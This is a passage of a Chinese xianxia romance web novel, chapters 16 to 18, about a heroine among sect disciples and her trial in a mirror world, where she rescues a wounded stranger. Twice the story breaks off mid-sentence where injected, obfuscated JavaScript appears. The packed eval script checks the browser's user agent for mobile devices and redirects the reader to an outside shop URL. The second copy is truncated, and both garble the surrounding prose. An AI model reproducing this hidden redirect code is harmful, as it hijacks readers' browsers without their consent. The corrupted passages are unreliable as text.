独孤槿是在此之前就认识的,相隔几天重逢,阿凰感觉她多了一丝忧郁;正枫依然是单纯正直的老实人;徐子岑还是偶尔冲动的少女;许萧然非常的活泼外向,甚至有些可爱的朝气蓬勃,若是网友,阿凰一定会认为他是个女孩子。 阿凰还记得玄极安排的任务,几个徒弟都要去璇玑阁找他,时间差不多了,她只能依依不舍地和伙伴分开。 无尽峰,璇玑阁。 桌子边,少女撑着脑袋昏昏欲睡,却强撑着自己清醒,显出一副憨态可掬的模样,可仔细一瞧,她分明无一丝困意。 今天顾纯儿特地穿了一身嫩黄色裙子,为了避免有人看腻了,她还在头上带了蝴蝶发饰,会随着她的一举一动扑动翅膀,好不俏皮。 看着玄极在查阅书籍,顾纯儿有点泄气了。 她最爱看的话本子里,那些俏皮可爱的女主角,不都是这样做的吗?为什么某人一点别的反应都没有? “累了就去歇着。”玄极忽然开口。 顾纯儿立刻坐直了,睁大眼睛看着他:“我不累!师父,有需要尽管吩咐我,嘻嘻。” 迎着玄极的目光,她微微鼓起脸颊,嘴唇微微嘟着,缓缓眨了眨眼,亮晶晶的眼睛无辜地看着人,既不显得刻意也能让对方看出来,正是恰到好处的弧度。 眼看他要写字,她凑到他身侧,提起花哨的袖子,拿起墨条磨墨,一边说:“我来给师父研墨。” 红袖添香,温香软玉,日久生情,哪个男人会不心动呢?她有个第一美人娘亲,教过她不少好东西。 “这些事自有人做,你不必亲力亲为,顾门主托本座照顾你,不是让你来打杂的。”玄极看着身侧的少女说。 顾纯儿立刻用可怜兮兮的语气说:“这是我自己想这么做的,我想对师父好,不觉得这是辛苦,如果师父连这些事也不让我做,我会很无聊的。” 玄极露出一丝无奈:“随你吧。” 眼见他有所松懈,顾纯儿抓住机会,低着头缓缓研墨,声音听起来闷闷不乐:“我只是想让师父开心一些,师父平时那么累,那么忙,我想为师父分担一些压力,所有人眼里我都是受大家照顾的,可谁又知道我也是会为了关心的人付出的呢?我知道都是因为爹爹的嘱托师父才会照顾我的,可我也想用自己的实力获得师父的信任。” 她本就人见人爱,这么一番深情告白砸下来,换作哪个男人都无法拒绝。 即使是一贯冰冷的玄极,此时也有一瞬的晃神。 顾纯儿再接再厉:“在大家眼里师父是冷若冰霜不近人情的,可我知道师父内心是非常热诚的,为了紫微派尽心尽力,我都看在眼里,所以我想,别人都不敢接近师父,那我就多关心师父。” 听着她甜蜜的声音,玄极虽不发一言,可神色当中已经略有动容。 “我只是……太急着想靠近师父了,如果师父不喜欢我这样,我以后绝对不会再越界了。” 说着,顾纯儿站起身要跑出去,被一只手拉住了手腕。 “我没说不行。” 看着她闪烁着泪光的眼睛,委屈巴巴的表情,玄极拿出一方帕子,说:“哭什么,你在清音门都没吃过苦,反倒在本座这儿受了委屈?” “没有,不委屈!”顾纯儿接过帕子擦眼泪,当着他的面把帕子好好收起来,“这是师父给我的第一件礼物,我会收好的。” 16. 心思各异 外头,阿凰到了地方,远远的就看到熟悉的身影,独自一人立在那儿,风吹起他的衣摆,头发丝也随风飘动,简直像一幅古风人物画像。 她一时看入迷了,不忍打破这副画,他的背影立在那儿,埙声传来,带着忧愁的情绪,不知为何,她感同身受的内心酸楚。 犹豫片刻,她想着,是叫他一声,还是直接绕到他面前,独孤凤渊却收起埙转了过来,脸色非常难看。 “怎、怎么了,我没迟到吧?” 独孤凤渊没理她,只是转身就向玄极所居住的璇玑阁去:“走吧。” 看他的样子,好像在这里等了很久啊……阿凰心里突然冒出一丝不确定的想法,他不会是在等她吧? 看了看周围,也不见顾纯儿和宋清希,正在疑惑,独孤凤渊突然说:“别看了,纯儿已经到了,至于宋清希……呵。” 他哪里不知道,顾纯儿一大早就过来了这里,直到现在也没出来,他就这么站在这里看了一天。 阿凰不知道他在呵个什么,更不知道他为什么不高兴,问:“哦,那你怎么不进去,在这里吹风?” 没想到他又转过来看着她,脸色更难看了。 “不该问的事别多问。” 阿凰跟在他后面走,觉得男人真是莫名其妙。 她这两辈子认识的男性加起来一双手都数得过来,称得上熟人的更是寥寥无几,所以她其实搞不懂怎么和异性往来,更猜不透他们的想法。 可她又是一个边界感很重的人,所以一旦有异性表现出超出她预料的言行,她就容易误解。 “明明是你自己要说的……”阿凰小声嘀咕。 独孤凤渊身影一顿,不过这次没有回头凶她了。 到了门口,阿凰也不指望他会主动开口,向里面喊道:“师父,我们到了。” 门自动打开,前头的独孤凤渊先走进去,阿凰紧随其后,看到里面的两个人时,她心里冒出一种奇怪的感觉。 这两个人是不是有点过于亲昵了?好像有点超出师徒的范围了吧? 玄极提笔写字,顾纯儿坐在他边上,单手撑着下巴看着他,半个身子都要贴上去了,眼神都在拉丝。 真是好热情主动的女孩子。 阿凰替别人尴尬的毛病又犯了,她突然好想逃,是不是看到了不该看的东西? 突然感受到一股很凝重的气息,她侧头看去,身旁的独孤凤渊整个人的气息沉得吓人,她甚至产生了一种错觉,好像感受到他身上冒出来了寒气。 直到发现有人来了,顾纯儿才端正坐姿,也没保持距离,还是坐在那儿,看了过来,看起来很开心地打招呼:“你们来啦。” 阿凰回应一声,又暼了独孤凤渊一眼,他居然又变得如沐春风,好像刚才的一切都是她的错觉。 这个时候阿凰只能祈求来一个人打破这么诡异的氛围,想了想,似乎也只有还没到场的宋清希会来。 她便转身看门外,希望这小子该出现的时候就出现吧。 好像听到了她心里的呼声似的,果然见到一个少年的身影赶来,风风火火直接进了门。 然而下一刻,他看到了那对亲昵的师徒,脸上的笑容也僵住,很快又调整出阳光开朗的面容:“纯儿师姐怎么来得这么快?不会是早就来了吧?” 看着这修罗场,阿凰想,看来太受欢迎也是一种烦恼啊。 见了宋清希,顾纯儿站起身走过来,离开了师父的上座。 “还说我呢,你们一个个一整天都找不到人,我自己一个人太无聊了,只能来给师父干活咯。” 宋清希立刻表明态度:“哪里的话,明明是师姐你没想起我,只要师姐需要,我随叫随到,随时待命着!” 只过了一瞬,独孤凤渊也跟着说:“我也常常闲来无事,纯儿师妹有需要随时可以唤我。” 顾纯儿笑嘻嘻的,又佯装不满,看着宋清希:“你小子,老实告诉我,为什么招惹阿凰?” “冤枉啊师姐,我哪里招惹她了?” “那为什么我听说你们打架了?” 话题突然扯到自己身上,原本想当透明人的阿凰瞬间有些不知所措,连忙说:“都是误会,经师父处罚后我们已经知错了。” “同门之间,和气最重要,既然只是误会,解开了就好啦。”顾纯儿道,威胁地看着宋清希,“只是以后别再闹了,要是惹师父生气,我可管不了,阿凰和我可是唯二的女孩子,你们要让着我们。” 宋清希笑嘻嘻地附和:“那是自然!师姐说东我就绝不往西,不让我做的事我绝不做,让我做的事下火海也会做到,有任何好东西我都会第一时间记着师姐。” 独孤凤渊也说:“一切自然是以师妹为主,我们堂堂男儿,照顾师妹义不容辞,一切事务尽可以吩咐我。” 顾纯儿心满意足地被逗笑了。 可是阿凰并不想搞特殊,也从没想过别人就应该让着自己,修仙界弱肉强食,她自己弱小她会努力变强,敌不过别人她也只能认栽,而不是搞特殊,当关系户,这样对普通人很不公平。 也许因为她自己就是个普通人吧,总是容易共情普罗大众。 不过她知道顾纯儿并没有恶意,只是习惯了开玩笑,这些人都和她关系不错,她打趣说笑很正常。 上座,玄极停下写字的手,看了过来,说:“两日后正式进入凡尘十二镜,你们自行做好准备。” 宣布得好突然,阿凰有点措手不及,该准备什么?要是进去了出不来怎么办? “再次提醒你们,若心性不坚定会迷失自我,被困在镜中世界,成为活死人,若成功度过,心境与修为将会得到很大的提升,为避免过于沉浸无法摆脱情绪,从镜中世界中离开后会暂做休息。” 玄极带着他们在后山吐纳,感受天地灵气,不知不觉天黑了。 阿凰悄悄睁眼,看到周围有点点亮光,似乎是萤火虫,明明是黑夜,这里却并不黑暗,像点了灯一样清晰。 “感受如何?”玄极开口问。 顾纯儿第一个兴致冲冲地回应:“师父,我感觉身体更轻盈了,这是不是进步的体现?” 玄极点头。 阿凰不禁有些羡慕,她资质真好啊,轻而易举就进步了,她自己同样也坐了半天,却好像什么也没感受到。 真是一个闪闪发光的女孩子,各方面都这么好。 夜里的凉风吹过,顾纯儿咳嗽了两声,顿时所有人的目光都关切地投向她。 “纯儿师姐,你是不是又犯病了?”宋清希说着要脱下外衣,被顾纯儿婉拒了。 “没事,我还好。” “既然身体有恙,今日到此结束吧。”玄极说,一向冷漠的脸上露出些许关心。 独孤凤渊也说:“是啊,修行的日子还长着,不差这一时,纯儿师妹不要逞强,身体要紧。” “纯纯生病了吗?”阿凰问。 顾纯儿点点头说:“不知为何,我打小就嗓子不适,从娘胎里来的病,怎么也治不好,好在只是小毛病,不打紧的,你们不要这么严肃啦。” 她强撑坚强的样子更惹得人同情了,大家一阵劝说,她终于肯回去休息。 返程路上,看到玄极似乎在出神,顾纯儿若无其事地咳嗽了几声,他果然将目光放到她身上。 “本座配一味润喉药,明日你来拿。” “多谢师父关心。”顾纯儿又咳了两声,嘴角藏着一丝计划成功后满意的笑。 回到屋子里,阿凰见到那只小奶猫窝在她床上,将身体团成一团,像个球一样,无辜的眼睛看着她,眼角微微下垂,天生自带可怜兮兮的感觉。 见到她,小奶猫发出一声奶呼呼的“喵呜”,似乎在撒娇,这时候它已经一点害怕的样子都没有了。 阿凰的心都要被萌化了,忍住扑上去狠狠吸猫的冲动,心中打算,如果它还是怕生,无法接近,就送给顾纯儿试试,正好她喜欢可爱的东西,一定会很喜欢,就代表她有可能养过小动物,有经验,还是医修,最合适不过。 她尝试着靠近小奶猫,伸出手摸摸头,它乖巧地窝在那儿任由抚摸,一点也不反抗,喉咙里还发出呼噜呼噜,像引擎一样的声音,她只知道猫咪发出这种声音,一种是害怕,一种是喜欢,根据当下情况判断,小奶猫应该是喜欢她? 给小猫喂了点吃的,它吃饱后满足地舔爪子给自己身上清洗,阿凰也满足地睡了。 次日阿凰担心顾纯儿的身体,便出门想去看看她,半道上碰见她,看起来要出门。 “纯纯,你这是要出门吗?” “嗯,有事吗?”顾纯儿看了她一眼,语气和在人前大不相同。 这一句把阿凰问愣了,她还是第一次见到顾纯儿这么冷淡的一面,不禁怀疑自己是不是做错了什么,哪里惹她了?或者只是她现在不开心? “没、没事啊,我是担心你的嗓子不舒服,来看看你,要不要去药宗那边问药?”阿凰都没发现自己有些心虚了,好像关心别人成了一件需要反思的事。 “不用,没事我就走了。”顾纯儿脸上挂着淡淡的笑容,只是连阿凰都看得出来,那笑容很敷衍。 回到自己屋里,阿凰一路上都在反思,仔细回忆了许多遍自己到底哪里做错了,她被顾纯儿讨厌了吗? “别多想了,一个人要是真的讨厌你,你呼吸都是错的,要是喜欢你,你杀人放火都替你掩护。”夜月姬的声音突然响起来。 “我真的被讨厌了吗?” “这说不准,人心难测,谁能把握别人的想法?讨厌或者喜欢一个人,有时候是没有理由的,你就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126060|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是太容易内耗了,猜测别人的心思太累了,你做好自己就够了。” 阿凰只能控制自己别多想,去药宗讨了点药回来给小猫治腿伤。 “你好久没吃药调理身体了。”夜月姬说。 “你给我灵石啊?咱家什么条件,要啥自行车,活着就不错了。” 徬晚,顾纯儿突然来访,又恢复了友好的一面,让阿凰怀疑早上的一切是幻觉,她跟阿凰扯了一堆有的没的话题,看起来很关心她,她却看得出来,她有话要说。 “纯纯,听说你喜欢可爱的东西,你要不要摸摸我的猫?” 然而小猫不给她面子,又一溜烟躲进床底了,尾巴上的毛都炸了起来,整条尾巴跟毛毛虫似的。 顾纯儿很显然也不感兴趣,说:“小猫害怕我,那就算了。” “纯纯,你是不是有事要说啊?” 终于问了,顾纯儿坐在她身旁,问:“阿凰,你有没有喜欢过一个人?” 阿凰身体有一瞬间的僵住,甚至都忘了眨眼,脑海里冒出许多想法,最后想,她是不是发现了什么? “没有呢,怎么啦,突然这么问?”阿凰只能装作若无其事。 沉默片刻,顾纯儿才说:“如果你喜欢上一个人,可是你不确定他是不是也喜欢你,你会继续追求,还是及时止损转向下一个目标?” 前两句,阿凰也想知道。 后两句,她没有这种选择谁的烦恼,她自己都是那个永远不在选择范围里的人,哪有资格对别人挑挑拣拣?而且她喜欢一个人,是不敢追求的,暗恋好像成了她的习惯,甚至害怕被别人发现她的喜欢。 “我也不知道,也许等我有了喜欢的人才能给你回答吧。” 看啊,她连有喜欢的人都不敢承认,怎么有资格当别人的感情咨询师呢。 这关头阿凰只有即将历练的紧张,和无法通过的担忧,哪里还有心情想这些,而且她感情经历为零,认识的男人一双手都数得过来,实在无法回答。 她有些意外,顾纯儿会来找她聊这种话题,因为对方看起来没有这种烦恼,就算有,她也一定是最无法回答的那个。 顾纯儿又和她聊了好多,她只能当一个合格的倾听者,显然对方也没指望她能回答什么,只需要有一个感情的发泄口就够了。 最后顾纯儿开心地和她道别,她也因为好朋友对自己的态度又好了而开心。 “傻姑娘,又被别人一句话哄好了,人家甚至还没哄你,你自己就把自己哄好了。”夜月姬突然说。 “哪有那么严重,纯纯也说过了,这里只有我们两个女孩子,她有青春期的感情烦恼,找我说很正常啊。”阿凰维护朋友说,“她能找我聊这种小心思,肯定是很信任我的,女孩子不会和不熟的人聊感情的事。” “也不知道早上被人家甩了脸子,内耗一整天的是谁。” 阿凰说不出话。 夜月姬继续说:“没发现她只有需要你的时候才是好态度吗?你主动找她她就敷衍你,只有你们两个人的时候,她对你的态度就敷衍冷淡,而在那些男人面前,她需要维护自己的人设,就又是别的面孔了。” “够了,你说话真的有点过分了,你别这么恶意揣测,人都有不开心的时候,我运气不好碰上了行吗?” “你说这话自己信吗?” 长久的寂静。 夜月姬无奈道:“当局者迷,旁观者清,很多事你以后才能领悟。” 回想起来,夜月姬第一次评价顾纯儿就没什么好话,阿凰都怀疑她和顾纯儿有仇了。 “总之以后你不许那么过分地说纯纯,你再说她坏话我就……”可是她发现自己好像真的没办法,连她的命都是靠夜月姬续的。 “你就怎么样?你能拿我怎么样?别忘了你靠我才活到现在,别想着胳膊肘往外拐。” 阿凰说:“你就像干涉孩子社交的家长。” 相处这么久,夜月姬在她心里确实成了长辈一样的存在,她也一直都很情绪稳定,可是到了顾纯儿这件事上,怎么就变了? “你认识正常人我才不管你。”夜月姬冷哼一声,“你真把她当好朋友呢?你也被她迷惑住了?这才多久,就帮着外人说话,要抛弃我这个老不死的妖怪了。” 阿凰承认:“那也没有,你死了我也活不成。” “你知道就好。”夜月姬重归平静,“你以为你和她是好朋友,说不定人家心里你在哪个角落,想起来了才捡起来用,用完就丢回角落里吃灰,只有你自作多情,任由她调动情绪,用你们那里的话说就是舔狗。” “你怎么那么扭曲呢?见不得别人好?” “我都这样了,扭曲何尝不是一种正常?” 阿凰懒得和她争了,她敢肯定,以后她也会被顾纯儿的人品折服的。 17. 进入副本 很快就到了进入凡尘十二镜历练的那天,阿凰出门后去顾纯儿的屋子找她,可是她又不在了。 “别想了,人家身边有的是人陪,又不缺你这一个没有利用价值的普通人,早就跟着她的哥哥弟弟们走了,你又不是她的熟人,她凭什么跟你一起,跟在身边还掉人家档次。”夜月姬又在阴阳怪气,自从上次谈论之后,她就很喜欢时不时冒出来说一嘴。 阿凰没理会,自己走向璇玑阁。 快到了的时候,她远远就看见三个人在前方,一身紫衣的是独孤凤渊,一身蓝衣的是宋清希,而顾纯儿走在他们两个中间,一身华丽的衣装,宛若天仙的装扮,头上配饰随着走动叮铃铃响,好不俏皮,仿佛不是要去历练,而是参与宴会。 阿凰不紧不慢地走在后头,也没有主动开口叫人,有一点自暴自弃的想法,甚至停下脚步,故意想拉开距离,等他们都走远了自己再继续走。 直到那三个人的身影在拐弯处消失,阿凰才继续走。 走到拐弯处,前方站了个人,原本在走神的阿凰一顿,抬头看到宋清希靠着石头现在那儿,一脸戏谑。 “笨蛋师姐怎么又一个人落下了?总是这么呆呆的,进了镜中世界可怎么办?你要是死了,以后我欺负谁去?” 阿凰呸了一下,说:“真晦气,这种关头少说点难听话,你不好好走你的,在这儿截我又想干什么?” 宋清希了然一笑:“原来你早就看到我们了,那你怎么不跟上来?不会是发现被我们丢下了,觉得很委屈吧?偷偷走在后面掉小珍珠?” 不得不承认,他说话真的很直白,一针见血,因为从来不在乎别人的想法,轻而易举就能伤人。 “你很得意咯?”阿凰饶过他走过去,“是不是故意的我也无所谓了,紧要关头,我没心思跟你闹,你也别找事。” 这一次宋清希居然老老实实地在身边走,没有什么恶作剧。 感受到他的目光一直放在自己身上,阿凰有些别扭,正想说点什么,他先开口了:“你怎么还穿着这件衣服?很满意我送的礼物?你不会喜欢我吧?” 阿凰觉得这人简直莫名其妙,也被震惊得睁大眼睛瞪着他:“你脸皮真厚啊,我什么时候才能做到这么不要脸?你以后再说这种莫名其妙的话,别怪我不给你留面子。” 他却一点生气的样子都没有,反而嬉皮笑脸的:“笨蛋师姐怎么又生气了?真是太好逗了。” 眼看阿凰真的闷头走路,不再理他,宋清希说:“那你总得给我个理由吧,为什么这么重要的日子穿着我送你的衣服?” “我没衣服穿了,这衣服又好看,料子也不错,不穿浪费。”阿凰实诚地说。 不过她一向体寒怕冷,这次穿了件外衣,她也知道今天是重要日子,看了眼寒酸的衣柜,也只有宋清希送的这件衣服拿得出手。 听她这么说,宋清希心里有点得意,又问:“你怎么这么穷,连衣服也买不起?” 阿凰实诚地看着他:“对啊。” 这下轮到宋清希无言了,他还是第一次见到有人这么诚实的直面自己的贫穷和窘迫。 “你进了紫微派这么气派的地方求学,家里人不给你钱,打点体面些的行头?” “我没有家人。” 宋清希又一次语塞了。 前头的独孤凤渊和顾纯儿不知何时停在原地,应该是发现宋清希不见了停下来等他。 “你们怎么走在一块儿了,难道是宋师弟特地去找阿凰?”顾纯儿故作八卦地看着两人。 宋清希道:“我发现有人在后头,以为是哪来的小贼,就回头看了看,原来是阿凰师姐。” 顾纯儿看着阿凰,眼睛一亮:“阿凰今天的裙子好漂亮呀,原来你也会喜欢这么粉嫩的颜色,平常也不见你这么打扮呢,看来是很看重今天这个日子了。” 一旁的宋清希摸了摸眉毛,瞄了顾纯儿两眼就不敢多看了,阿凰一眼就看出来那是心虚的表现,她看在眼里,内心冷笑了一下,恶劣地想,自己要是说,这是他送的裙子会怎么样呢?那场面一定很精彩。 不过最后她也只是想想,短暂地闪过一个恶作剧的念头罢了。 她说:“以前遇到一个纨绔公子,我把他收拾老实了,他家里人很感谢我,就送了几件好看的衣服。” “这样啊,阿凰真有本事。”顾纯儿说。 暼到宋清希脸色不太好,阿凰和他对视了一瞬,他露出一种危险的笑容,威胁的眼神仿佛在说:你有种。 几人有说有笑来到璇玑阁。 在屋外等候没多久,玄极便从里面走出来,一句话也不多说,看了他们一眼:“走吧。” “师父,我们去哪儿呀?”顾纯儿问。 “神机庭。”玄极看了她一眼,似乎是在担忧她身体是否无碍。 前往神机庭路上,还有别的长老带着弟子从四面八方而来,阿凰看到了许萧然,他也看到了阿凰,热烈地向她招手。 不多时,众人齐聚广场之上,阿凰好奇地四下看了看,看起来有几十个人。 场地中心立着一根蓝色矿石龙柱,一道蓝色光华从龙嘴里蔓延出来,像一袅炊烟缓缓飘上天空,看不见尽头,似乎能飘到天庭去。 众人围着龙柱坐下,为首带队的长老们伸出手,龙头上的光华分成几股飘到他们手心,而长老们收回手面对弟子们坐下,片刻之后,他们手心的光华又自动分成几股,飘向面前的弟子。 阿凰只感觉浑身轻飘飘的,好像这一刻忘却了所有烦恼,灵魂似乎也轻得要飘走了,她什么也不去想,记忆越来越模糊。 …… 清水村,河边两岸的田地间开满了一大片黄澄澄的油菜花,蜜蜂停驻在花朵上,春意盎然。 远远的传来人们劳作唱歌的声音:“远看阿郎赶牛来耶,赶牛来耶,惹得阿妹悄悄猜,若是他日成双对,愿为阿妹摘云彩哟咿哟。” 少女衣着朴素,头发只用一条青色发带编了一根辫子,听到自己教的歌,她莞尔一笑,扛起扁担就准备挑水回家。 “阿凰妹子,放着我来吧!”一个同样朴素的少年跑过来,挽起袖子,也不等阿凰拒绝就自顾自扛起扁担就走,两桶水的重量对他来说好像不存在似的,步履稳健地蹬着草鞋。 这是村子里有名的老实人,正枫,平常大伙有什么事就乐意使唤他,他也总是乐呵呵的帮衬着街坊邻里,大伙都说他是个十足的好人,力气大,心胸也宽广。 阿凰不会说话,只能跟在他身边,喉咙里发出细微的“嗬嗬”声,又用手打手势。 相处久了,大家逐渐能理解一些她想表达的意思,正枫说:“不必客气,我力气大,就该做这活,你细皮嫩肉的,本来也是读书的料,不该干这些粗活,有什么事尽管让我来。” 阿凰用口型对他说:谢谢。 正枫在内心叹气,阿凰妹子就是太善良。 她打小就是一介柔弱孤女,没有一个亲人,又不能说话,自己生活到这么大也挺不容易的,同时她也是村子里唯一一个识字的,她还在家门口免费教孩子们识字,后来,大伙出力盖了一间屋子做学堂,她便当起村子里唯一的教书先生,街坊邻居没几个钱,给她送些日常的米面菜作为报答。 自古以来教书育人就是一大善举,何况是不图回报的?所以,阿凰也成了邻里八乡出了名的善人,有些外村的人也想送孩子过来免费识字,村子里哪肯?便主动给她撑腰,这么好的资源可不能分给外人。 思及此,正枫有些不好意思。 大伙都说,他俩一个老实本分,一个善良博识,正好凑一对儿,他力气大,肯吃苦,最适合过日子,而阿凰细皮嫩肉,他来养她也毫无怨言。 虽然阿凰脸上长了一大片胎记,也是个哑巴,可没人嫌弃她丑,为人和善,又识字,能吹曲,这在乡下是一个也找不出,想娶她的人多到别的村子里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126061|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他的爹娘也催着他赶紧问问阿凰的心意,可他平日里和她独处都不好意思,哪里还敢开口问这些? 此时阿凰身影一顿,蹲下去,好像发现了什么东西,正枫也停步看去,就见一只幼鸟趴在地上挣扎,以为它娘带了食物回来,嘴巴张得老大,嗷嗷待哺。 “阿凰妹子又要往家里捎这些个小玩意啊?”正枫说,“前些日子刚捡了猫猫狗狗回去,现在又是小鸟,你家里都快成养殖场了,没事儿,你那边放不下,可以带来我家,我也可以帮着养。” 阿凰给小鸟喂了一点弄碎的野果,用树枝临时搭了个鸟窝,就把小鸟放在鸟窝里带着走。 看着这些生命垂死挣扎的样子,她心里实在过意不去,做不到见死不救。 这些生命都太弱小了,如果没有外力帮助,很快就会死的。她自己也是个弱小的人,因为有了善良的村民给口吃的才能在这个村子好好生活,所以见到同样受苦的,就不免有些同情。 回到家门口,几个孩童已经在那里等着,见了阿凰都围上来,叽叽喳喳的。 “小鸟!它看起来好可怜啊。” “师父又把小动物救回来养了。” “不如带到学堂里吧,有我们陪着,小鸟肯定很快就恢复了,正好我们也能帮师父分担一下!” 没有能写字的东西在身边,阿凰无法表达自己的疑惑,孩子们还小,也很难看懂她的口型和比划。 好在孩子们吵闹了一会儿安静下来,想起此行来的目的,问:“今天师父没去学堂,我们怕出了什么事,过来看看,师父今天还教我们学字吗?” 阿凰示意大家先进屋。 她今天打算做大扫除的,再把水缸里的水填满,把地里的草除一下种点瓜果,村长送了她一小块地,足够她一个人种菜吃,但是平时大家都有送食物给她,她一个人吃正好够,就不用自己种了。 种点瓜果,可以闲暇时解解馋,再送些给大家吃,学堂里孩子多,做点果干给他们吃也好,作为学习进步的奖励。 做饭的火坑里堆满灰白的草木灰,柴火埋在其中,只需要把草木灰扒开,柴火还是有火的,叠一下吹吹气就又能生火了,这是底层百姓们最快捷省事的生火方式。 阿凰从草木灰中抽出一根木柴,被火烧过的那端已经成了乌黑的木炭,正好可以用来写字,她就在地上写了简短易懂的内容,再加上一些比划,大家便理解了她的意思。 “我们来帮师父大扫除吧!”年纪最大的那个孩子带头说话,剩下的孩子们一呼而应,也不等阿凰拒绝,各自分工明确地去干活了。 而正枫也提着木桶说:“我去挑水,用不了多久水缸就满了。” 看着大家忙得不亦乐乎,阿凰只能欣慰地笑了笑,心中无限温馨,她把捡来的小鸟安顿好,以前捡来养好伤的动物有一些自己留了下来,给她当起了看家护卫,她给护卫们喂食后,便带上农具下地去了。 临别前她准备了食物,叫他们吃完了再走。 有一条土狗非要跟着阿凰出门,每次她下地,它都会跟着她,兴许是它刚来的时候是伤得最重的,一直害怕被抛弃,所以很黏着她,直到现在,它的后腿还一撅一拐的。 除草的锄头也分大小,有些人家给孩子准备了小锄头一起干活。 阿凰力气小,扛着中等型号的锄头,沿着小路走向自己的小地皮,土狗跟在身边,欢快地摇摇尾巴。 今天的路途似乎有哪里不太一样,经过林子里的小路,阿凰总感觉哪里不对劲,连身边的土狗也有些警惕。 继续走了一段路,土狗突然狂吠不止,转身就飞快跑向另一边,阿凰怕它出事,只能跟了上去。 跑得阿凰气喘吁吁时,土狗终于在一个小坡停下,她赶上去,看清眼前的一切时,愣在原地睁大了眼睛。 土坡下躺着一个男人,浑身脏污,暴露在外面的伤口布满血丝,混着泥土,他奄奄一息,已经昏迷不醒。 18. 捡来的男人 看着地上快要一命呜呼的男人,阿凰心中十分纠结,如果回去喊人来救,她怕她一走这个人就出了意外,那就只能她自己带回去了。 可是她力气小,这男人身材精壮得当,个子也不小,她见过的参军回乡的人,那是练武的身材,这男人就是那一种的。 她尝试了一下,很费劲才把他从地上拖起来。 她心中犹豫了一下,这毕竟是个陌生男人,不知来头,轻易带回村子里会不会带来麻烦?可是他就要死了,把他丢在这里,眼睁睁看着他去死……她良心上过不去。 反正他伤得这么重,带回去处理伤口,把他的命保住了,再和大伙商量是送出去还是留下吧。 想归想,真正要把这么一个人扛回去要费很大力气,阿凰原本想抓着男人的腋下,把人拖在地上拖回去,也只是想了想,觉得有点过分了,他伤成这样,这么拖回去跟折磨人没两样。 不得已,阿凰只能把男人背起来,差点连站都站不起来,好不容易站稳身子,她拿着锄头当拐杖,歪歪扭扭地返回村子,半路上还摔倒了一次,把自己摔出小伤。 回到家,孩子们已经走了,阿凰出门前准备的吃食他们也没动。 把人放在床上,阿凰也顾不上他身上脏兮兮的污秽把床弄脏,打算先把男人身上已经破了的衣服扒下来再清理伤口,可是,手伸出去摸到他衣领的时候,她有点下不了手。 要把一个男人扒光了,还是挺难为情的…… 她伸手试探男人的气息,微弱到快感受不到了,再拖就晚了,不得已,她硬着头皮去解开男人的衣带,感觉过了很久,终于把衣服扒下来。 接着她去抬一盆水回来,打湿毛巾把伤口处理干净,再用布把流血的伤口捂住,一阵忙活下来,她累得先喘口气。 只是这样还不行,得找大夫来救人,正好这时外面正枫打水回来了,阿凰跑出去拉住他,没看到他红透了的脸色,把他带进房间,指着床上的男人,焦急地打比划。 “我明白了,我这就去找大夫。”正枫忽略了心中小小的失落,救人要紧,立刻跑出去了。 趁这个时候,阿凰去烧热水,同时准备了饭菜。 忙活完正枫正好带着人回来,一面指路一面把大夫往屋里引,虽有男女大防的规矩,可乡野之中规矩的管束也宽松一些,再加上是危急时刻,也管不了那么多了,大夫带着药箱进了屋。 看到床上躺着的人,大夫也惊讶了,先查看人是否存活,确认之后便进行下一步了,时不时指挥身后的阿凰和正枫打下手。 许久之后,阿凰看到大夫松了一口气,心里觉得应该是把男人的命留住了。 “大夫,他伤得怎么样了?”正枫问。 “他身上大多是刀剑留下的伤,还有一些我看不出来的东西,不过他命大,一直撑着一口气,处理了伤口不被感染和恶化,正常用药,静养一段时间再看看。”大夫说着,一面吩咐一面收拾东西。 阿凰拿钱付了诊费,心想,得想办法去赚钱了。 离开前,大夫又说了句:“我还是第一次见到命这么硬的人。” 屋里就剩下两个好好的人,阿凰向正枫示意,让他去找村长来,至少得说明一下情况。 没多久老村长便来了,了解过情况,只说等人醒来问过底细再做打算,阿凰要留他吃饭,他婉拒了,还告诉她有困难可以找他,正枫也跟着村长离去。 屋子里重归平静,阿凰坐在床边休息,看着男人的脸有些出神。 她还是第一次见到长得这么好看的人,别说男人,女人也不见得有他这么完美的脸。 身材也很完美…… 阿凰把脸移开了,脸上有点热,干脆出去透透气,想起来饭做好了没人吃,肚子里空空的,就先去吃饭了。 也不知道他遇到了多凶险的事才伤成这样的。 一连过了好几天,男人一点醒来的迹象都没有,每次阿凰怀疑他是不是还或者的时候,去探他气息又还探得到。 这几天,阿凰都一个人在房间里的小角落睡觉,因为别的地方也睡不下,正好可以时刻观察伤者,有突发情况能及时发现。 每日教完孩子们学字,阿凰就到人流密集处卖艺,她只会吹笛子,可是竟然也有很多人爱听,每次都能得到不少赏钱,没有钱的也会捧个人场。 就连某个员外家里的小姐公子都想请她去府中当乐师,可她本就与人交流不便,又不会名流贵族的规矩,怕害了自己。 先别说家里还有个昏迷不醒的人等着照顾,村子里的大伙都对她很好,她舍不得。 小姐公子们缺她一个乐师不少,可清水村的孩子们只有她一个教书先生。 好在员外府里的人也不计较,有时还会亲自过来当听众,大手一挥赏钱给得很大方,原本阿凰给男人买衣服和伤药花了不少钱,这一来,就够用好久了。 回到家,阿凰放好东西,准备给那个男人换伤药,可是到了床前,却空无一人。 